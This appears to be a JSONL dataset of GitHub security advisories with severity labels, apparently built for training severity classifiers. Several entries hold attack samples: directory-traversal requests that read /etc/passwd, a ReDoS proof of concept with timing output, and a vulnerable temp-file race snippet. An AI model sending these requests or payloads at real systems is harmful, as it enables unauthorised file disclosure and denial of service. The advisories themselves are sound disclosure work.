-{"id": "2a49a33f04681d9678b9", "text": "go.mongodb.org/mongo-driver improperly validates cstrings when marshalling Go objects into BSON\n\nSpecific cstrings input may not be properly validated in the MongoDB Go Driver when marshalling Go objects into BSON. A malicious user could use a Go object with specific string to potentially inject additional fields into marshalled documents. This issue affects all MongoDB GO Drivers up to (and including) 1.5.0.", "text_raw": "go.mongodb.org/mongo-driver improperly validates cstrings when marshalling Go objects into BSON\n\n[Severity: MEDIUM]\n\nSpecific cstrings input may not be properly validated in the MongoDB Go Driver when marshalling Go objects into BSON. A malicious user could use a Go object with specific string to potentially inject additional fields into marshalled documents. This issue affects all MongoDB GO Drivers up to (and including) 1.5.0.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-15", "split": "train"}
-{"id": "0992fb3ff3beec7a4e96", "text": "Prototype Pollution in @apollo/gateway\n\nVersions of `@apollo/gateway` prior to 0.6.2 are vulnerable to Prototype Pollution. The package uses deepMerge() to merge objects, which may allow attackers to alter the Object prototype through queries with GraphQL aliases. Carefully constructed payloads can override properties of all objects in the application. This may lead to Denial of Service or may be chained with other vulnerabilities leading to Remote Code Execution.\n\n## Recommendation\n\nUpgrade to version 0.6.2 or later.", "text_raw": "Prototype Pollution in @apollo/gateway\n\n[Severity: HIGH]\n\nVersions of `@apollo/gateway` prior to 0.6.2 are vulnerable to Prototype Pollution. The package uses deepMerge() to merge objects, which may allow attackers to alter the Object prototype through queries with GraphQL aliases. Carefully constructed payloads can override properties of all objects in the application. This may lead to Denial of Service or may be chained with other vulnerabilities leading to Remote Code Execution.\n\n\n## Recommendation\n\nUpgrade to version 0.6.2 or later.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-13", "split": "train"}
-{"id": "828d3ad4fc8cee39e51f", "text": "Directory Traversal in mockserve\n\nAffected versions of `mockserve` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in mockserve\n\n[Severity: HIGH]\n\nAffected versions of `mockserve` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "082bfadff15961bff630", "text": "Apache Tomcat Race Condition vulnerability\n\nIf an async request was completed by the application at the same time as the container triggered the async timeout, a race condition existed that could result in a user seeing a response intended for a different user. An additional issue was present in the NIO and NIO2 connectors that did not correctly track the closure of the connection when an async request was completed by the application and timed out by the container at the same time. This could also result in a user seeing a response intended for another user. Versions Affected: Apache Tomcat 9.0.0.M9 to 9.0.9 and 8.5.5 to 8.5.31.", "text_raw": "Apache Tomcat Race Condition vulnerability\n\n[Severity: MEDIUM]\n\nIf an async request was completed by the application at the same time as the container triggered the async timeout, a race condition existed that could result in a user seeing a response intended for a different user. An additional issue was present in the NIO and NIO2 connectors that did not correctly track the closure of the connection when an async request was completed by the application and timed out by the container at the same time. This could also result in a user seeing a response intended for another user. Versions Affected: Apache Tomcat 9.0.0.M9 to 9.0.9 and 8.5.5 to 8.5.31.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "73a81529bb5986ddd2cb", "text": "Prototype Pollution in mathjs\n\nThe package mathjs before 7.5.1 are vulnerable to Prototype Pollution via the deepExtend function that runs upon configuration updates.", "text_raw": "Prototype Pollution in mathjs\n\n[Severity: HIGH]\n\nThe package mathjs before 7.5.1 are vulnerable to Prototype Pollution via the deepExtend function that runs upon configuration updates.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "895b1ab9573680fbf965", "text": "Insecure Cryptography Algorithm in parsel\n\nAll versions of `parsel` use an insecure cryptography algorithm. The package uses `aes-256-cbc` without integrity checks, which renders the ciphertext vulnerable to bit-flipping attacks.\n\n## Recommendation\n\nThe package is deprecated and will not be updated. Consider using an alternative package.", "text_raw": "Insecure Cryptography Algorithm in parsel\n\n[Severity: CRITICAL]\n\nAll versions of `parsel` use an insecure cryptography algorithm. The package uses `aes-256-cbc` without integrity checks, which renders the ciphertext vulnerable to bit-flipping attacks.\n\n\n## Recommendation\n\nThe package is deprecated and will not be updated. Consider using an alternative package.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "f4096b403e89e1ac65aa", "text": "Rosetta-Flash JSONP Vulnerability in hapi\n\nThis description taken from the pull request provided by Patrick Kettner.\n\nVersions 6.1.0 and earlier of hapi are vulnerable to a rosetta-flash attack, which can be used by attackers to send data across domains and break the browser same-origin-policy.\n\n## Recommendation\n\n- Update hapi to version 6.1.1 or later.\n\nAlternatively, a solution previously implemented by Google, Facebook, and Github is to prepend callbacks with an empty inline comment. This will cause the flash parser to break on invalid inputs and prevent the issue, and how the issue has been resolved internally in hapi.", "text_raw": "Rosetta-Flash JSONP Vulnerability in hapi\n\n[Severity: MEDIUM]\n\nThis description taken from the pull request provided by Patrick Kettner.\n\n\n\nVersions 6.1.0 and earlier of hapi are vulnerable to a rosetta-flash attack, which can be used by attackers to send data across domains and break the browser same-origin-policy.\n\n\n\n\n\n## Recommendation\n\n- Update hapi to version 6.1.1 or later.\n\nAlternatively, a solution previously implemented by Google, Facebook, and Github is to prepend callbacks with an empty inline comment. This will cause the flash parser to break on invalid inputs and prevent the issue, and how the issue has been resolved internally in hapi.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "aa9d91571ab52168887d", "text": "Data races in rulinalg\n\nThe affected version of rulinalg has incorrect lifetime boundary definitions for RowMut::raw_slice and RowMut::raw_slice_mut. They do not conform with Rust's borrowing rule and allows the user to create multiple mutable references to the same location. This may result in unexpected calculation result and data race if both references are used at the same time.", "text_raw": "Data races in rulinalg\n\n[Severity: CRITICAL]\n\nThe affected version of rulinalg has incorrect lifetime boundary definitions for RowMut::raw_slice and RowMut::raw_slice_mut. They do not conform with Rust's borrowing rule and allows the user to create multiple mutable references to the same location. This may result in unexpected calculation result and data race if both references are used at the same time.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "64d7a141571290adc8c4", "text": "Division by zero in TFLite's implementation of `TransposeConv`\n\n### Impact\nThe optimized implementation of the `TransposeConv` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L5221-L5222):\n\n```cc \nint height_col = (height + pad_t + pad_b - filter_h) / stride_h + 1;\nint width_col = (width + pad_l + pad_r - filter_w) / stride_w + 1;\n```\n\nAn attacker can craft a model such that `stride_{h,w}` values are 0. Code calling this function must validate these arguments.\n\n### Patches\nWe have patched the issue in GitHub commit [801c1c6be5324219689c98e1bd3e0ca365ee834d](https://github.com/tensorflow/tensorflow/commit/801c1c6be5324219689c98e1bd3e0ca365ee834d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by zero in TFLite's implementation of `TransposeConv`\n\n[Severity: LOW]\n\n### Impact\nThe optimized implementation of the `TransposeConv` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L5221-L5222):\n\n```cc \nint height_col = (height + pad_t + pad_b - filter_h) / stride_h + 1;\nint width_col = (width + pad_l + pad_r - filter_w) / stride_w + 1;\n```\n\nAn attacker can craft a model such that `stride_{h,w}` values are 0. Code calling this function must validate these arguments.\n\n### Patches\nWe have patched the issue in GitHub commit [801c1c6be5324219689c98e1bd3e0ca365ee834d](https://github.com/tensorflow/tensorflow/commit/801c1c6be5324219689c98e1bd3e0ca365ee834d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "6b2707d878ff26ebec80", "text": "Regular Expression Denial of Service in ms\n\nVersions of `ms` prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n## Proof of Concept\n```javascript\nvar ms = require('ms');\nvar genstr = function (len, chr) {\n   var result = \"\";\n   for (i=0; i<=len; i++) {\n       result = result + chr;\n   }\n\nreturn result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n\n```\n\n### Results\nShowing increase in execution time based on the input string.\n```\n$ time node ms.js 10000\n\nreal\t0m0.758s\nuser\t0m0.724s\nsys\t0m0.031s\n\n$ time node ms.js 20000\n\nreal\t0m2.580s\nuser\t0m2.494s\nsys\t0m0.047s\n\n$ time node ms.js 30000\n\nreal\t0m5.747s\nuser\t0m5.483s\nsys\t0m0.080s\n\n$ time node ms.js 80000\n\nreal\t0m41.022s\nuser\t0m38.894s\nsys\t0m0.529s\n```", "text_raw": "Regular Expression Denial of Service in ms\n\n[Severity: HIGH]\n\nVersions of `ms` prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n## Proof of Concept\n```javascript\nvar ms = require('ms');\nvar genstr = function (len, chr) {\n   var result = \"\";\n   for (i=0; i<=len; i++) {\n       result = result + chr;\n   }\n\n   return result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n\n```\n\n### Results\nShowing increase in execution time based on the input string.\n```\n$ time node ms.js 10000\n\nreal\t0m0.758s\nuser\t0m0.724s\nsys\t0m0.031s\n\n$ time node ms.js 20000\n\nreal\t0m2.580s\nuser\t0m2.494s\nsys\t0m0.047s\n\n$ time node ms.js 30000\n\nreal\t0m5.747s\nuser\t0m5.483s\nsys\t0m0.080s\n\n$ time node ms.js 80000\n\nreal\t0m41.022s\nuser\t0m38.894s\nsys\t0m0.529s\n```\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "146c0fbd3f224ef5664f", "text": "Improper Check for Unusual or Exceptional Conditions in Connect2id Nimbus JOSE+JWT\n\nConnect2id Nimbus JOSE+JWT before v7.9 can throw various uncaught exceptions while parsing a JWT, which could result in an application crash (potential information disclosure) or a potential authentication bypass.", "text_raw": "Improper Check for Unusual or Exceptional Conditions in Connect2id Nimbus JOSE+JWT\n\n[Severity: CRITICAL]\n\nConnect2id Nimbus JOSE+JWT before v7.9 can throw various uncaught exceptions while parsing a JWT, which could result in an application crash (potential information disclosure) or a potential authentication bypass.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-10-16", "split": "train"}
-{"id": "8861b25e8f6c22fa090b", "text": "Out of bounds read in simd-json\n\nThe affected version of this crate did not guard against accessing memory beyond the range of its input data. A pointer cast to read the data into a 256-bit register could lead to a segmentation fault when the end plus the 32 bytes (256 bit) read would overlap into the next page during string parsing. This allows an attacker to eventually crash a service. The flaw was corrected by using a padding buffer for the last read from the input. So that we are we never read over the boundary of the input data.", "text_raw": "Out of bounds read in simd-json\n\n[Severity: HIGH]\n\nThe affected version of this crate did not guard against accessing memory beyond the range of its input data. A pointer cast to read the data into a 256-bit register could lead to a segmentation fault when the end plus the 32 bytes (256 bit) read would overlap into the next page during string parsing. This allows an attacker to eventually crash a service. The flaw was corrected by using a padding buffer for the last read from the input. So that we are we never read over the boundary of the input data.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "f1efaa7717610d7ae8e5", "text": "Withdrawn: Duplicate of CVE-2017-12161 / GHSA-959q-32g8-vvp7", "text_raw": "Moderate severity vulnerability that affects org.keycloak:keycloak-core\n\n[Severity: MEDIUM]\n\nWithdrawn: Duplicate of CVE-2017-12161 / GHSA-959q-32g8-vvp7", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "b44a69e0c46dbe7117f8", "text": "PyYAML insecurely deserializes YAML strings leading to arbitrary code execution\n\nIn PyYAML before 4.1, the `yaml.load()` API could execute arbitrary code. In other words, `yaml.safe_load` is not used.", "text_raw": "PyYAML insecurely deserializes YAML strings leading to arbitrary code execution\n\n[Severity: CRITICAL]\n\nIn PyYAML before 4.1, the `yaml.load()` API could execute arbitrary code. In other words, `yaml.safe_load` is not used.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "46bc91c69700b955a0c7", "text": "snipe-it is vulnerable to Cross-Site Request Forgery (CSRF)\n\nsnipe-it is vulnerable to Cross-Site Request Forgery (CSRF).", "text_raw": "snipe-it is vulnerable to Cross-Site Request Forgery (CSRF)\n\n[Severity: MEDIUM]\n\nsnipe-it is vulnerable to Cross-Site Request Forgery (CSRF).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-15", "split": "train"}
-{"id": "3631d866f631e2dfe503", "text": "Security feature bypass vulnerability exists in ASP.NET when the number of incorrect login attempts is not validated\n\nA Security Feature Bypass vulnerability exists in ASP.NET when the number of incorrect login attempts is not validated, aka \"ASP.NET Security Feature Bypass Vulnerability.\" This affects ASP.NET, ASP.NET Core 1.1, ASP.NET Core 1.0, ASP.NET Core 2.0, ASP.NET MVC 5.2.", "text_raw": "Security feature bypass vulnerability exists in ASP.NET when the number of incorrect login attempts is not validated\n\n[Severity: HIGH]\n\nA Security Feature Bypass vulnerability exists in ASP.NET when the number of incorrect login attempts is not validated, aka \"ASP.NET Security Feature Bypass Vulnerability.\" This affects ASP.NET, ASP.NET Core 1.1, ASP.NET Core 1.0, ASP.NET Core 2.0, ASP.NET MVC 5.2.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "86fa111fc7c7c8dead07", "text": "Directory Traversal in f2e-server\n\nAffected versions of `f2e-server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nUpdate to version 1.12.12 or later.", "text_raw": "Directory Traversal in f2e-server\n\n[Severity: HIGH]\n\nAffected versions of `f2e-server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nUpdate to version 1.12.12 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "031fc78e200b6a878c6b", "text": "Cross-site Scripting in loofah\n\nLoofah allows non-whitelisted attributes to be present in sanitized output when input with specially-crafted HTML fragments.\n\nUsers are affected if running Loofah < 2.2.1, but only:\n\n* when running on MRI or RBX,\n* in combination with libxml2 >= 2.9.2.\n\nJRuby users are not affected.", "text_raw": "Cross-site Scripting in loofah\n\n[Severity: MEDIUM]\n\nLoofah allows non-whitelisted attributes to be present in sanitized output when input with specially-crafted HTML fragments.\n\nUsers are affected if running Loofah < 2.2.1, but only:\n\n* when running on MRI or RBX,\n* in combination with libxml2 >= 2.9.2.\n\nJRuby users are not affected.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-03-21", "split": "train"}
-{"id": "5215c657cee4051aaf3e", "text": "Creation of Temporary File in Directory with Insecure Permissions in the OpenAPI-Generator online generator\n\n### Impact\n\nOn Unix like systems, the system's temporary directory is shared between all users on that system. A collocated user can observe the process of creating a temporary sub directory in the shared temporary directory and race to complete the creation of the temporary subdirectory.\n\nThis vulnerability is local privilege escalation because the contents of the outputFolder can be appended to by an attacker. As such, code written to this directory, when executed can be attacker controlled.\n\nopenapi-generator-online creates insecure temporary folders with `File.createTempFile` during the code generation process. The insecure temporary folders store the auto-generated files which can be read and appended to by any users on the system.\n\n### Vulnerable Code\n\nhttps://github.com/OpenAPITools/openapi-generator/blob/c6530519975341d7784a252132b2f0854f488901/modules/openapi-generator-online/src/main/java/org/openapitools/codegen/online/service/Generator.java#L184-L187\n\nThis vulnerability exists due to a race condition between the deletion of the randomly generated temporary file and the creation of the temporary directory.\n\n```java\nFile outputFolder = File.createTempFile(\"codegen-\", \"-tmp\"); // Attacker knows the full path of the file that will be generated\n// delete the file that was created\noutputFolder.delete(); // Attacker sees file is deleted and begins a race to create their own directory before the code generator\n// and make a directory of the same name\n// SECURITY VULNERABILITY: Race Condition! - Attacker beats the code generator and now owns this directory\noutputFolder.mkdir();\n```\n\n### Patches\nThe issue has been patched by changing the underlying logic to use `Files.createTempFile` and has been released in the v5.1.0 stable version.\n\nThis vulnerability has the same root cause as CVE-2021-21363 from the `swagger-api/swagger-codegen` project as this project and that one both share the same original source tree.\nSee: https://github.com/swagger-api/swagger-codegen/security/advisories/GHSA-pc22-3g76-gm6j\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [OpenAPI Generator Github repo](https://github.com/openAPITools/openapi-generator/)\n* Email us at [security@openapitools.org](mailto:security@openapitools.org)", "text_raw": "Creation of Temporary File in Directory with Insecure Permissions in the OpenAPI-Generator online generator\n\n[Severity: CRITICAL]\n\n### Impact\n\nOn Unix like systems, the system's temporary directory is shared between all users on that system. A collocated user can observe the process of creating a temporary sub directory in the shared temporary directory and race to complete the creation of the temporary subdirectory.\n\nThis vulnerability is local privilege escalation because the contents of the outputFolder can be appended to by an attacker. As such, code written to this directory, when executed can be attacker controlled.\n\nopenapi-generator-online creates insecure temporary folders with `File.createTempFile` during the code generation process. The insecure temporary folders store the auto-generated files which can be read and appended to by any users on the system.\n\n### Vulnerable Code\n\nhttps://github.com/OpenAPITools/openapi-generator/blob/c6530519975341d7784a252132b2f0854f488901/modules/openapi-generator-online/src/main/java/org/openapitools/codegen/online/service/Generator.java#L184-L187\n\nThis vulnerability exists due to a race condition between the deletion of the randomly generated temporary file and the creation of the temporary directory.\n\n```java\nFile outputFolder = File.createTempFile(\"codegen-\", \"-tmp\"); // Attacker knows the full path of the file that will be generated\n// delete the file that was created\noutputFolder.delete(); // Attacker sees file is deleted and begins a race to create their own directory before the code generator\n// and make a directory of the same name\n// SECURITY VULNERABILITY: Race Condition! - Attacker beats the code generator and now owns this directory\noutputFolder.mkdir();\n```\n\n### Patches\nThe issue has been patched by changing the underlying logic to use `Files.createTempFile` and has been released in the v5.1.0 stable version.\n\nThis vulnerability has the same root cause as CVE-2021-21363 from the `swagger-api/swagger-codegen` project as this project and that one both share the same original source tree.\nSee: https://github.com/swagger-api/swagger-codegen/security/advisories/GHSA-pc22-3g76-gm6j\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [OpenAPI Generator Github repo](https://github.com/openAPITools/openapi-generator/)\n* Email us at [security@openapitools.org](mailto:security@openapitools.org)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-11", "split": "train"}
-{"id": "f4fc816610eee1e975d0", "text": "Downloads Resources over HTTP in resourcehacker\n\nAffected versions of `resourcehacker` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `resourcehacker`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in resourcehacker\n\n[Severity: HIGH]\n\nAffected versions of `resourcehacker` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `resourcehacker`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-15", "split": "train"}
-{"id": "bc43b94ed4ad0cb258b1", "text": "Privilege Escalation in fscrypt\n\nThe pam_fscrypt module in fscrypt before 0.2.4 may incorrectly restore primary and supplementary group IDs to the values associated with the root user, which allows attackers to gain privileges via a successful login through certain applications that use Linux-PAM (aka pam).", "text_raw": "Privilege Escalation in fscrypt\n\n[Severity: MEDIUM]\n\nThe pam_fscrypt module in fscrypt before 0.2.4 may incorrectly restore primary and supplementary group IDs to the values associated with the root user, which allows attackers to gain privileges via a successful login through certain applications that use Linux-PAM (aka pam).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "3fefc02da948798b6292", "text": "Template injection in cron-utils\n\n### Impact\nA Template Injection was identified in cron-utils enabling attackers to inject arbitrary Java EL expressions, leading to unauthenticated Remote Code Execution (RCE) vulnerability. Versions up to 9.1.2 are susceptible to this vulnerability. Please note, that only projects using the @Cron annotation to validate untrusted Cron expressions are affected.\n\n### Patches\nThe issue was patched and a new version released. Please upgrade to version 9.1.3.\n\n### Workarounds\nThere are no known workarounds up to this moment.\n\n### References\nA description of the issue is provided in [issue 461](https://github.com/jmrozanec/cron-utils/issues/461)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [cron-utils Github repository](https://github.com/jmrozanec/cron-utils)", "text_raw": "Template injection in cron-utils\n\n[Severity: CRITICAL]\n\n### Impact\nA Template Injection was identified in cron-utils enabling attackers to inject arbitrary Java EL expressions, leading to unauthenticated Remote Code Execution (RCE) vulnerability. Versions up to 9.1.2 are susceptible to this vulnerability. Please note, that only projects using the @Cron annotation to validate untrusted Cron expressions are affected.\n\n### Patches\nThe issue was patched and a new version released. Please upgrade to version 9.1.3.\n\n### Workarounds\nThere are no known workarounds up to this moment.\n\n### References\nA description of the issue is provided in [issue 461](https://github.com/jmrozanec/cron-utils/issues/461)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [cron-utils Github repository](https://github.com/jmrozanec/cron-utils)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-11-24", "split": "train"}
-{"id": "599149f916fe38ff71c9", "text": "Authorization Bypass in Spring Security\n\nWhen using Spring Security's CAS Proxy ticket authentication a malicious CAS Service could trick another CAS Service into authenticating a proxy ticket that was not associated. This is due to the fact that the proxy ticket authentication uses the information from the HttpServletRequest which is populated based upon untrusted information within the HTTP request.\n\nThis means if there are access control restrictions on which CAS services can authenticate to one another, those restrictions can be bypassed.\n\nIf users are not using CAS Proxy tickets and not basing access control decisions based upon the CAS Service, then there is no impact to users.\n\n## Mitigation\nUsers of affected versions should apply the following mitigation:\n- Users of 3.2x should upgrade to 3.2.5 or later\n- Users of 3.1.x should upgrade to 3.1.7 or later\n\n## Credit\nThis issue was identified by David Ohsie and brought to our attention by the CAS Development team.", "text_raw": "Authorization Bypass in Spring Security\n\n[Severity: CRITICAL]\n\nWhen using Spring Security's CAS Proxy ticket authentication a malicious CAS Service could trick another CAS Service into authenticating a proxy ticket that was not associated. This is due to the fact that the proxy ticket authentication uses the information from the HttpServletRequest which is populated based upon untrusted information within the HTTP request.\n\nThis means if there are access control restrictions on which CAS services can authenticate to one another, those restrictions can be bypassed.\n\nIf users are not using CAS Proxy tickets and not basing access control decisions based upon the CAS Service, then there is no impact to users.\n\n## Mitigation\nUsers of affected versions should apply the following mitigation:\n- Users of 3.2x should upgrade to 3.2.5 or later\n- Users of 3.1.x should upgrade to 3.1.7 or later\n\n## Credit\nThis issue was identified by David Ohsie and brought to our attention by the CAS Development team.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-15", "split": "train"}
-{"id": "72f375e7b2952e06b60e", "text": "Memory safety violation in crayon\n\nAn issue was discovered in the crayon crate through 2020-08-31 for Rust. A TOCTOU issue has a resultant memory safety violation via HandleLike.", "text_raw": "Memory safety violation in crayon\n\n[Severity: HIGH]\n\nAn issue was discovered in the crayon crate through 2020-08-31 for Rust. A TOCTOU issue has a resultant memory safety violation via HandleLike.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "4eba44f2ed7a08b9e5fe", "text": "Unpreventable top-level navigation\n\n### Impact\nThe `will-navigate` event that apps use to prevent navigations to unexpected destinations [as per our security recommendations](https://www.electronjs.org/docs/tutorial/security) can be bypassed when a sub-frame performs a top-frame navigation across sites.\n\n### Patches\n\n* `11.0.0-beta.1`\n* `10.0.1`\n* `9.3.0`\n* `8.5.1`\n\n### Workarounds\nSandbox all your iframes using the [`sandbox` attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-sandbox).  This will prevent them creating top-frame navigations and is good practice anyway.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Email us at security@electronjs.org", "text_raw": "Unpreventable top-level navigation\n\n[Severity: HIGH]\n\n### Impact\nThe `will-navigate` event that apps use to prevent navigations to unexpected destinations [as per our security recommendations](https://www.electronjs.org/docs/tutorial/security) can be bypassed when a sub-frame performs a top-frame navigation across sites.\n\n### Patches\n\n* `11.0.0-beta.1`\n* `10.0.1`\n* `9.3.0`\n* `8.5.1`\n\n### Workarounds\nSandbox all your iframes using the [`sandbox` attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-sandbox).  This will prevent them creating top-frame navigations and is good practice anyway.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Email us at security@electronjs.org", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-10-06", "split": "train"}
-{"id": "880825d561e6121832cc", "text": "Pivotal Spring Framework DoS Attack with XML Input\n\nPivotal Spring Framework before 3.2.14 and 4.x before 4.1.7 do not properly process inline DTD declarations when DTD is not entirely disabled, which allows remote attackers to cause a denial of service (memory consumption and out-of-memory errors) via a crafted XML file.", "text_raw": "Pivotal Spring Framework DoS Attack with XML Input\n\n[Severity: MEDIUM]\n\nPivotal Spring Framework before 3.2.14 and 4.x before 4.1.7 do not properly process inline DTD declarations when DTD is not entirely disabled, which allows remote attackers to cause a denial of service (memory consumption and out-of-memory errors) via a crafted XML file.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "ba267f914d64c9124ea2", "text": "Directory Traversal in serverliujiayi1\n\nAffected versions of `serverliujiayi1` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in serverliujiayi1\n\n[Severity: HIGH]\n\nAffected versions of `serverliujiayi1` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
